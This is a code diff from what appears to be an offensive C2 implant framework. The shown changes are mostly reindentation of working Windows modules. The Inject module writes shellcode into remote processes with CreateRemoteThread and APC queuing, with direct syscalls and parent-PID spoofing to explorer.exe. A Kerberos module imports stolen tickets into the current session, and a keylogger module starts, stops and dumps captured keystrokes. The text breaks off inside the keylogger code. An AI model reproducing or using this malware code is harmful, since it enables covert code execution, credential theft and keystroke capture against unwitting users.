if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_windowsBeaconsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_windowsBeaconsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string msg = "Couldn't open file.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
myfile.close();
|
||||
if(!myfile)
|
||||
{
|
||||
std::string msg = "Couldn't open file.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
myfile.close();
|
||||
|
||||
std::string payload;
|
||||
if(donut)
|
||||
creatShellCodeDonut(inputFile, method, args, payload);
|
||||
else
|
||||
{
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
std::string payload_(std::istreambuf_iterator<char>(input), {});
|
||||
payload=payload_;
|
||||
}
|
||||
std::string payload;
|
||||
if(donut)
|
||||
creatShellCodeDonut(inputFile, method, args, payload);
|
||||
else
|
||||
{
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
std::string payload_(std::istreambuf_iterator<char>(input), {});
|
||||
payload=payload_;
|
||||
}
|
||||
|
||||
if(payload.size()==0)
|
||||
{
|
||||
std::string msg = "Something went wrong. Payload empty.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
if(payload.size()==0)
|
||||
{
|
||||
std::string msg = "Something went wrong. Payload empty.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::string cmd;
|
||||
for (int idx = 1; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
cmd+=splitedCmd[idx];
|
||||
cmd+=" ";
|
||||
}
|
||||
std::string cmd;
|
||||
for (int idx = 1; idx < splitedCmd.size(); idx++)
|
||||
{
|
||||
cmd+=splitedCmd[idx];
|
||||
cmd+=" ";
|
||||
}
|
||||
|
||||
c2Message.set_pid(pid);
|
||||
c2Message.set_cmd(cmd);
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
c2Message.set_pid(pid);
|
||||
c2Message.set_cmd(cmd);
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
@@ -217,76 +217,76 @@ int Inject::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
|
||||
std::string static inline inject(int pid, const std::string& payload, bool useSyscall)
|
||||
{
|
||||
std::string result;
|
||||
std::string result;
|
||||
|
||||
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
|
||||
if (processHandle)
|
||||
{
|
||||
if(useSyscall)
|
||||
{
|
||||
PVOID remoteBuffer;
|
||||
SIZE_T sizeToAlloc = payload.size();
|
||||
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
|
||||
if (processHandle)
|
||||
{
|
||||
if(useSyscall)
|
||||
{
|
||||
PVOID remoteBuffer;
|
||||
SIZE_T sizeToAlloc = payload.size();
|
||||
|
||||
remoteBuffer=NULL;
|
||||
Sw3NtAllocateVirtualMemory_(processHandle, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
remoteBuffer=NULL;
|
||||
Sw3NtAllocateVirtualMemory_(processHandle, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
SIZE_T NumberOfBytesWritten;
|
||||
Sw3NtWriteVirtualMemory_(processHandle, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
|
||||
|
||||
ULONG oldAccess;
|
||||
Sw3NtProtectVirtualMemory_(processHandle, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
|
||||
SIZE_T NumberOfBytesWritten;
|
||||
Sw3NtWriteVirtualMemory_(processHandle, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
|
||||
|
||||
ULONG oldAccess;
|
||||
Sw3NtProtectVirtualMemory_(processHandle, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
|
||||
|
||||
HANDLE hThread;
|
||||
Sw3NtCreateThreadEx_(&hThread, 0x1FFFFF, (POBJECT_ATTRIBUTES)NULL, processHandle, (void*) remoteBuffer, (PVOID)NULL, FALSE, 0, 0, 0, (PPS_ATTRIBUTE_LIST)NULL);
|
||||
HANDLE hThread;
|
||||
Sw3NtCreateThreadEx_(&hThread, 0x1FFFFF, (POBJECT_ATTRIBUTES)NULL, processHandle, (void*) remoteBuffer, (PVOID)NULL, FALSE, 0, 0, 0, (PPS_ATTRIBUTE_LIST)NULL);
|
||||
|
||||
Sw3NtClose_(hThread);
|
||||
Sw3NtClose_(processHandle);
|
||||
|
||||
result += "Process injected.";
|
||||
}
|
||||
else
|
||||
{
|
||||
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
||||
Sw3NtClose_(hThread);
|
||||
Sw3NtClose_(processHandle);
|
||||
|
||||
result += "Process injected.";
|
||||
}
|
||||
else
|
||||
{
|
||||
PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
||||
|
||||
WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL);
|
||||
WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL);
|
||||
|
||||
DWORD oldprotect = 0;
|
||||
VirtualProtectEx(processHandle, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
||||
DWORD oldprotect = 0;
|
||||
VirtualProtectEx(processHandle, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
||||
|
||||
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
|
||||
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
|
||||
|
||||
CloseHandle(remoteThread);
|
||||
CloseHandle(processHandle);
|
||||
result += "Process injected.";
|
||||
CloseHandle(remoteThread);
|
||||
CloseHandle(processHandle);
|
||||
result += "Process injected.";
|
||||
|
||||
}
|
||||
}
|
||||
else
|
||||
result += "OpenProcess failed.";
|
||||
}
|
||||
}
|
||||
else
|
||||
result += "OpenProcess failed.";
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
// std::string static inline selfInject(const std::string& payload)
|
||||
// {
|
||||
// std::string result;
|
||||
// std::string result;
|
||||
// DWORD pid = GetCurrentProcessId();
|
||||
// HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||
//
|
||||
// if (processHandle)
|
||||
// {
|
||||
// PVOID remoteBuffer = VirtualAlloc(NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
||||
// WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL);
|
||||
// DWORD oldprotect = 0;
|
||||
// VirtualProtect(remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
||||
// HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
|
||||
// CloseHandle(remoteThread);
|
||||
// CloseHandle(processHandle);
|
||||
// result += "Self injected.";
|
||||
// }
|
||||
// else
|
||||
// result += "OpenProcess failed.";
|
||||
// if (processHandle)
|
||||
// {
|
||||
// PVOID remoteBuffer = VirtualAlloc(NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
||||
// WriteProcessMemory(processHandle, remoteBuffer, payload.data(), payload.size(), NULL);
|
||||
// DWORD oldprotect = 0;
|
||||
// VirtualProtect(remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
||||
// HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
|
||||
// CloseHandle(remoteThread);
|
||||
// CloseHandle(processHandle);
|
||||
// result += "Self injected.";
|
||||
// }
|
||||
// else
|
||||
// result += "OpenProcess failed.";
|
||||
//
|
||||
// return result;
|
||||
// }
|
||||
@@ -294,102 +294,102 @@ std::string static inline inject(int pid, const std::string& payload, bool useSy
|
||||
|
||||
DWORD GetPidByName(const char * pName)
|
||||
{
|
||||
PROCESSENTRY32 pEntry;
|
||||
HANDLE snapshot;
|
||||
PROCESSENTRY32 pEntry;
|
||||
HANDLE snapshot;
|
||||
|
||||
pEntry.dwSize = sizeof(PROCESSENTRY32);
|
||||
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
pEntry.dwSize = sizeof(PROCESSENTRY32);
|
||||
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
if (Process32First(snapshot, &pEntry) == TRUE)
|
||||
{
|
||||
while (Process32Next(snapshot, &pEntry) == TRUE)
|
||||
{
|
||||
if (_stricmp(pEntry.szExeFile, pName) == 0)
|
||||
{
|
||||
return pEntry.th32ProcessID;
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(snapshot);
|
||||
return 0;
|
||||
if (Process32First(snapshot, &pEntry) == TRUE)
|
||||
{
|
||||
while (Process32Next(snapshot, &pEntry) == TRUE)
|
||||
{
|
||||
if (_stricmp(pEntry.szExeFile, pName) == 0)
|
||||
{
|
||||
return pEntry.th32ProcessID;
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(snapshot);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// https://cocomelonc.github.io/tutorial/2021/11/20/malware-injection-4.html
|
||||
std::string static inline spawnInject(const std::string& payload, const std::string& processToSpawn, bool useSyscall)
|
||||
{
|
||||
std::string result;
|
||||
std::string result;
|
||||
|
||||
// Spoof parent ID to set explorer.exe
|
||||
DWORD dwPid = GetPidByName("explorer.exe");
|
||||
if (dwPid == 0)
|
||||
dwPid = GetCurrentProcessId();
|
||||
// Spoof parent ID to set explorer.exe
|
||||
DWORD dwPid = GetPidByName("explorer.exe");
|
||||
if (dwPid == 0)
|
||||
dwPid = GetCurrentProcessId();
|
||||
|
||||
// create fresh attributelist
|
||||
SIZE_T cbAttributeListSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
|
||||
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
|
||||
InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
|
||||
// create fresh attributelist
|
||||
SIZE_T cbAttributeListSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
|
||||
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
|
||||
InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
|
||||
|
||||
// copy and spoof parent process ID
|
||||
HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
|
||||
UpdateProcThreadAttribute(pAttributeList,
|
||||
0,
|
||||
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
|
||||
&hParentProcess,
|
||||
sizeof(HANDLE),
|
||||
NULL,
|
||||
NULL);
|
||||
// copy and spoof parent process ID
|
||||
HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
|
||||
UpdateProcThreadAttribute(pAttributeList,
|
||||
0,
|
||||
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
|
||||
&hParentProcess,
|
||||
sizeof(HANDLE),
|
||||
NULL,
|
||||
NULL);
|
||||
|
||||
PROCESS_INFORMATION piProcInfo;
|
||||
STARTUPINFOEX startupInfoEx = { sizeof(startupInfoEx) };
|
||||
startupInfoEx.lpAttributeList = pAttributeList;
|
||||
PROCESS_INFORMATION piProcInfo;
|
||||
STARTUPINFOEX startupInfoEx = { sizeof(startupInfoEx) };
|
||||
startupInfoEx.lpAttributeList = pAttributeList;
|
||||
|
||||
if (CreateProcess(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED, NULL, NULL, &startupInfoEx.StartupInfo, &piProcInfo))
|
||||
{
|
||||
if(useSyscall)
|
||||
{
|
||||
PVOID remoteBuffer;
|
||||
SIZE_T sizeToAlloc = payload.size();
|
||||
if (CreateProcess(NULL, const_cast<LPSTR>(processToSpawn.c_str()), NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED, NULL, NULL, &startupInfoEx.StartupInfo, &piProcInfo))
|
||||
{
|
||||
if(useSyscall)
|
||||
{
|
||||
PVOID remoteBuffer;
|
||||
SIZE_T sizeToAlloc = payload.size();
|
||||
|
||||
remoteBuffer=NULL;
|
||||
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
remoteBuffer=NULL;
|
||||
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
SIZE_T NumberOfBytesWritten;
|
||||
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
|
||||
|
||||
ULONG oldAccess;
|
||||
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
|
||||
SIZE_T NumberOfBytesWritten;
|
||||
Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten);
|
||||
|
||||
ULONG oldAccess;
|
||||
Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess);
|
||||
|
||||
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
|
||||
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
|
||||
Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL);
|
||||
Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL);
|
||||
|
||||
result += "Process injected.";
|
||||
}
|
||||
else
|
||||
{
|
||||
PVOID remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
||||
result += "Process injected.";
|
||||
}
|
||||
else
|
||||
{
|
||||
PVOID remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
|
||||
|
||||
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
|
||||
WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL);
|
||||
|
||||
DWORD oldprotect = 0;
|
||||
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
||||
DWORD oldprotect = 0;
|
||||
VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect);
|
||||
|
||||
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
|
||||
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
|
||||
ResumeThread(piProcInfo.hThread);
|
||||
result += "Process injected.";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
result += "CreateProcess failed.";
|
||||
}
|
||||
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer;
|
||||
QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL);
|
||||
ResumeThread(piProcInfo.hThread);
|
||||
result += "Process injected.";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
result += "CreateProcess failed.";
|
||||
}
|
||||
|
||||
DeleteProcThreadAttributeList(pAttributeList);
|
||||
CloseHandle(hParentProcess);
|
||||
DeleteProcThreadAttributeList(pAttributeList);
|
||||
CloseHandle(hParentProcess);
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
@@ -398,33 +398,33 @@ std::string static inline spawnInject(const std::string& payload, const std::str
|
||||
|
||||
int Inject::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
const std::string shellcode = c2Message.data();
|
||||
int pid = c2Message.pid();
|
||||
const std::string shellcode = c2Message.data();
|
||||
int pid = c2Message.pid();
|
||||
|
||||
std::string result;
|
||||
if(pid>0)
|
||||
{
|
||||
result = inject(pid, shellcode, m_useSyscall);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string processToSpawn="notepad.exe";
|
||||
if(!m_processToSpawn.empty())
|
||||
processToSpawn=m_processToSpawn;
|
||||
result = spawnInject(shellcode, processToSpawn, m_useSyscall);
|
||||
}
|
||||
std::string result;
|
||||
if(pid>0)
|
||||
{
|
||||
result = inject(pid, shellcode, m_useSyscall);
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string processToSpawn="notepad.exe";
|
||||
if(!m_processToSpawn.empty())
|
||||
processToSpawn=m_processToSpawn;
|
||||
result = spawnInject(shellcode, processToSpawn, m_useSyscall);
|
||||
}
|
||||
|
||||
// variantes
|
||||
// nt api (ntdll)
|
||||
// nt write virtual memory
|
||||
// nt map view...
|
||||
// nt creat thread ex
|
||||
// bcp d autre
|
||||
// variantes
|
||||
// nt api (ntdll)
|
||||
// nt write virtual memory
|
||||
// nt map view...
|
||||
// nt creat thread ex
|
||||
// bcp d autre
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(c2Message.cmd());
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(c2Message.cmd());
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
+11
-11
@@ -3,29 +3,29 @@
|
||||
#include "ModuleCmd.hpp"
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <Windows.h>
|
||||
#include <Windows.h>
|
||||
#endif
|
||||
|
||||
class Inject : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
Inject();
|
||||
~Inject();
|
||||
Inject();
|
||||
~Inject();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int initConfig(const nlohmann::json &config);
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int initConfig(const nlohmann::json &config);
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string m_processToSpawn;
|
||||
bool m_useSyscall;
|
||||
std::string m_processToSpawn;
|
||||
bool m_useSyscall;
|
||||
|
||||
};
|
||||
|
||||
|
||||
@@ -50,11 +50,11 @@ bool testInject()
|
||||
output += "\n";
|
||||
std::cout << output << std::endl;
|
||||
|
||||
HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
|
||||
if (hProc) {
|
||||
TerminateProcess(hProc, 0);
|
||||
CloseHandle(hProc);
|
||||
}
|
||||
HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
|
||||
if (hProc) {
|
||||
TerminateProcess(hProc, 0);
|
||||
CloseHandle(hProc);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
@@ -55,9 +55,9 @@ __attribute__((visibility("default"))) KerberosUseTicket* KerberosUseTicketConst
|
||||
|
||||
KerberosUseTicket::KerberosUseTicket()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -68,66 +68,66 @@ KerberosUseTicket::~KerberosUseTicket()
|
||||
|
||||
std::string KerberosUseTicket::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "KerberosUseTicket:\n";
|
||||
info += "Import a kerberos ticket from a file to the curent LUID. \n";
|
||||
info += "exemple:\n";
|
||||
info += "- KerberosUseTicket /tmp/ticket.kirbi\n";
|
||||
info += "KerberosUseTicket:\n";
|
||||
info += "Import a kerberos ticket from a file to the curent LUID. \n";
|
||||
info += "exemple:\n";
|
||||
info += "- KerberosUseTicket /tmp/ticket.kirbi\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int KerberosUseTicket::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
||||
if (splitedCmd.size() == 2)
|
||||
{
|
||||
string inputFile = splitedCmd[1];
|
||||
{
|
||||
string inputFile = splitedCmd[1];
|
||||
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
if( input )
|
||||
{
|
||||
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
if( input )
|
||||
{
|
||||
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_data(buffer.data(), buffer.size());
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_data(buffer.data(), buffer.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue("Failed: Couldn't open file.");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue("Failed: Couldn't open file.");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int KerberosUseTicket::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
const std::string cmd = c2Message.cmd();
|
||||
const std::string buffer = c2Message.data();
|
||||
const std::string buffer = c2Message.data();
|
||||
|
||||
std::string out = importTicket(buffer);
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(out);
|
||||
return 0;
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(out);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
std::string KerberosUseTicket::importTicket(const std::string& ticket)
|
||||
{
|
||||
std::string result;
|
||||
std::string result;
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
@@ -165,7 +165,7 @@ std::string KerberosUseTicket::importTicket(const std::string& ticket)
|
||||
ULONG submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + ticket.size();
|
||||
PKERB_SUBMIT_TKT_REQUEST pKerbSubmit;
|
||||
if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize))
|
||||
{
|
||||
{
|
||||
pKerbSubmit->MessageType = KerbSubmitTicketMessage;
|
||||
pKerbSubmit->KerbCredSize = ticket.size();
|
||||
pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
|
||||
@@ -189,5 +189,5 @@ std::string KerberosUseTicket::importTicket(const std::string& ticket)
|
||||
|
||||
#endif
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
@@ -7,20 +7,20 @@ class KerberosUseTicket : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
KerberosUseTicket();
|
||||
~KerberosUseTicket();
|
||||
KerberosUseTicket();
|
||||
~KerberosUseTicket();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string importTicket(const std::string& ticket);
|
||||
std::string importTicket(const std::string& ticket);
|
||||
};
|
||||
|
||||
|
||||
|
||||
+124
-124
@@ -34,12 +34,12 @@ __attribute__((visibility("default"))) KeyLogger* KeyLoggerConstructor()
|
||||
|
||||
KeyLogger::KeyLogger()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
m_isThreadLaunched=false;
|
||||
m_isThreadLaunched=false;
|
||||
}
|
||||
|
||||
KeyLogger::~KeyLogger()
|
||||
@@ -48,74 +48,74 @@ KeyLogger::~KeyLogger()
|
||||
|
||||
std::string KeyLogger::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "keyLogger:\n";
|
||||
info += "keyLogger \n";
|
||||
info += "exemple:\n";
|
||||
info += "- keyLogger start\n";
|
||||
info += "- keyLogger stop\n";
|
||||
info += "- keyLogger dump\n";
|
||||
info += "keyLogger:\n";
|
||||
info += "keyLogger \n";
|
||||
info += "exemple:\n";
|
||||
info += "- keyLogger start\n";
|
||||
info += "- keyLogger stop\n";
|
||||
info += "- keyLogger dump\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int KeyLogger::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
||||
if (splitedCmd.size() >= 2 )
|
||||
{
|
||||
if(splitedCmd[1]=="start")
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_args(splitedCmd[1]);
|
||||
}
|
||||
else if(splitedCmd[1]=="stop")
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_args(splitedCmd[1]);
|
||||
}
|
||||
else if(splitedCmd[1]=="dump")
|
||||
{
|
||||
std::string output = "Dump:\n";
|
||||
output+=m_saveKeyStrock;
|
||||
c2Message.set_returnvalue(output);
|
||||
m_saveKeyStrock="";
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
if (splitedCmd.size() >= 2 )
|
||||
{
|
||||
if(splitedCmd[1]=="start")
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_args(splitedCmd[1]);
|
||||
}
|
||||
else if(splitedCmd[1]=="stop")
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_args(splitedCmd[1]);
|
||||
}
|
||||
else if(splitedCmd[1]=="dump")
|
||||
{
|
||||
